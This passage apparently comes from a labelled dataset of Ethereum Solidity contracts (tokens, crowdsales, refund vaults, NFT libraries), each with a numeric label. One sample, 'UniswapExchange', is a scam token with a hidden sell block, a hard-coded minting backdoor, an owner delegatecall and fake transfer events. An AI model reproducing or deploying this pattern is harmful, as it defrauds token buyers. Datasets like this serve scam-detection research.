function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,972 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function ownerTakesAllNotClaimedFunds() public onlyOwner {
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) onlyOwner public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract StandardMintableBurnableToken is Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MainassetPreICO is Ownable {
using SafeMath for uint256;
StandardMintableBurnableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function MainassetPreICO() {
wallet = 0x99Ad01334E387d212458c71dac87AEa0E272F973;
token = StandardMintableBurnableToken(0x20fc9efc67e49347e05188e5f2bfecbd8c01dd20);
startTime = 1510398671;
endTime = 1513080732;
rate = 1000;
vault = new RefundVault(wallet);
cap = 1500 ether;
goal = 500 ether;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
uint256 public cap;
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase && withinCap;
}
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
bool tooLate = now > endTime;
return tooLate || capReached;
}
bool public isFinalized = false;
event Finalized();
function finalize() public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
token.transferOwnership(owner);
}
uint256 public goal;
RefundVault public vault;
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
require(now < 1513641600);
require(token.balanceOf(msg.sender) == 0);
vault.refund(msg.sender);
}
function takeAllNotClaimedForRefundMoney() public {
require(now >= 1513641600);
vault.ownerTakesAllNotClaimedFunds();
}
function goalReached() public constant returns (bool) {
return weiRaised >= goal;
}
} | 1 | 4,133 |
contract self_store {
address owner;
uint16 public contentCount = 0;
event content(string datainfo);
function self_store() public { owner = msg.sender; }
function kill() { if (msg.sender == owner) suicide(owner); }
function add(string datainfo) {
if (msg.sender != owner) return;
contentCount++;
content(datainfo);
}
function flush() {
owner.send(this.balance);
}
} | 0 | 974 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Authorizable is Ownable {
mapping(address => bool) public authorized;
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
function addAuthorized(address _toAdd) onlyOwner public {
authorized[_toAdd] = true;
}
function removeAuthorized(address _toRemove) onlyOwner public {
authorized[_toRemove] = false;
}
}
contract LiteNetCoin is StandardToken, Authorizable{
uint256 public INITIAL_SUPPLY = 300000000 * 1 ether;
string public constant name = "LiteNetCoin";
string public constant symbol = "LNC";
uint8 public constant decimals = 18;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = totalSupply_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
}
contract Crowdsale is LiteNetCoin {
using SafeMath for uint256;
LiteNetCoin public token = new LiteNetCoin();
uint256 public constant BASE_RATE = 2500;
uint64 public constant PRE_SALE_START_1 = 1526256000;
uint64 public constant PRE_SALE_START_2 = 1527465600;
uint64 public constant PRE_SALE_START_3 = 1529884800;
uint64 public constant PRE_SALE_START_4 = 1535328000;
uint64 public constant PRE_ICO_START = 1538870400;
uint64 public constant ICO_START = 1541030400;
uint64 public constant ICO_FINISH = 1541376000;
bool public icoClosed = false;
uint256 totalBuyTokens_ = 0;
event BoughtTokens(address indexed to, uint256 value);
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
enum TokenDistributions { crowdsale, reserve, bounty, team, founders }
mapping(uint => uint256) public distributions;
address public teamTokens = 0xC7FDAE4f201D76281975D890d5491D90Ec433B0E;
address public notSoldTokens = 0x6CccCD6fa8184D29950dF21DDDE1069F5B37F3d1;
constructor() public {
distributions[uint8(TokenDistributions.crowdsale)] = 240000000 * 1 ether;
distributions[uint8(TokenDistributions.founders)] = 12000000 * 1 ether;
distributions[uint8(TokenDistributions.reserve)] = 30000000 * 1 ether;
distributions[uint8(TokenDistributions.bounty)] = 9000000 * 1 ether;
distributions[uint8(TokenDistributions.team)] = 9000000 * 1 ether;
}
function changeOwner(address _newOwner) external onlyOwner{
owner = _newOwner;
}
function changeTeamTokens(address _teamTokens) external onlyOwner{
teamTokens = _teamTokens;
}
function changeNotSoldTokens(address _notSoldTokens) external onlyOwner{
notSoldTokens = _notSoldTokens;
}
function() public payable {
buyTokens(msg.sender);
}
function buyTokens(address _addr) public payable {
require(msg.value >= 0.001 ether);
require(distributions[0] > 0);
require(totalBuyTokens_ <= INITIAL_SUPPLY );
require(getCurrentRound() > 0);
uint discountPercent = getCurrentDiscountPercent();
uint256 weiAmount = msg.value;
uint256 tokens = getRate(weiAmount);
uint256 bonusTokens = tokens.mul(discountPercent).div(100);
tokens += bonusTokens;
totalBuyTokens_ = totalBuyTokens_.add(tokens);
token.transfer(_addr, tokens);
totalSupply_ = totalSupply_.sub(tokens);
distributions[0] = distributions[0].sub(tokens);
owner.transfer(msg.value);
emit TokenPurchase(msg.sender, _addr, weiAmount, tokens);
}
function getCurrentRound() public view returns (uint8 round) {
round = 0;
if(now > ICO_START + 3 days && now <= ICO_START + 5 days) round = 7;
if(now > ICO_START && now <= ICO_START + 3 days) round = 6;
if(now > PRE_ICO_START && now <= PRE_ICO_START + 7 days) round = 5;
if(now > PRE_SALE_START_4 && now <= PRE_SALE_START_4 + 6 days) round = 4;
if(now > PRE_SALE_START_3 && now <= PRE_SALE_START_3 + 6 days) round = 3;
if(now > PRE_SALE_START_2 && now <= PRE_SALE_START_2 + 13 days) round = 2;
if(now > PRE_SALE_START_1 && now <= PRE_SALE_START_1 + 8 days) round = 1;
return round;
}
function getCurrentDiscountPercent() constant returns (uint){
uint8 round = getCurrentRound();
uint discountPercent = 0;
if(round == 1 ) discountPercent = 65;
if(round == 2 ) discountPercent = 65;
if(round == 3 ) discountPercent = 60;
if(round == 4 ) discountPercent = 55;
if(round == 5 ) discountPercent = 40;
if(round == 6 ) discountPercent = 30;
if(round == 7 ) discountPercent = 0;
return discountPercent;
}
function totalBuyTokens() public view returns (uint256) {
return totalBuyTokens_;
}
function getRate(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(BASE_RATE);
}
function sendOtherTokens(address _addr,uint256 _amount) onlyOwner onlyAuthorized isNotIcoClosed public {
require(totalBuyTokens_ <= INITIAL_SUPPLY);
token.transfer(_addr, _amount);
totalSupply_ = totalSupply_.sub(_amount);
totalBuyTokens_ = totalBuyTokens_.add(_amount);
}
function sendBountyTokens(address _addr,uint256 _amount) onlyOwner onlyAuthorized isNotIcoClosed public {
require(distributions[3] > 0);
sendOtherTokens(_addr, _amount);
distributions[3] = distributions[3].sub(_amount);
}
function close() public onlyOwner isNotIcoClosed {
require(now > ICO_FINISH);
if(distributions[0] > 0){
token.transfer(notSoldTokens, distributions[0]);
totalSupply_ = totalSupply_.sub(distributions[0]);
totalBuyTokens_ = totalBuyTokens_.add(distributions[0]);
distributions[0] = 0;
}
token.transfer(teamTokens, distributions[1] + distributions[2] + distributions[4]);
totalSupply_ = totalSupply_.sub(distributions[1] + distributions[2] + distributions[4]);
totalBuyTokens_ = totalBuyTokens_.add(distributions[1] + distributions[2] + distributions[4]);
distributions[1] = 0;
distributions[2] = 0;
distributions[4] = 0;
icoClosed = true;
}
modifier isNotIcoClosed {
require(!icoClosed);
_;
}
} | 0 | 983 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BenepitToken is StandardToken, Ownable {
string public name = "Benepit";
string public symbol = "BNP";
uint8 public decimals = 18;
constructor() public {
totalSupply_ = 30000000000 * 10**uint(decimals);
balances[msg.sender] = totalSupply_;
}
} | 1 | 4,851 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,418 |
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
library IterableMapping {
struct Map {
address[] keys;
mapping(address => uint256) values;
mapping(address => uint256) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint256) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key)
public
view
returns (int256)
{
if (!map.inserted[key]) {
return -1;
}
return int256(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint256 index)
public
view
returns (address)
{
return map.keys[index];
